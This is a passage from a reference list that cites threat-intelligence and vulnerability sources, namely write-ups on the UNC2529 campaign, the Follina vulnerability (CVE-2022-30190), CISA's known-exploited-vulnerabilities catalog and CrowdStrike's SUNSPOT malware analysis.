https://cloud.google.com/blog/topics/threat-intelligence/unc2529-double-back-campaign Microsoft MSRC: CVE-2022-30190 Follina — https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190 CISA KEV Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog CrowdStrike: SUNSPOT Malware Analysis — https://www.crowdstrike.com/blog/sunspot-malware-indicator-analysis/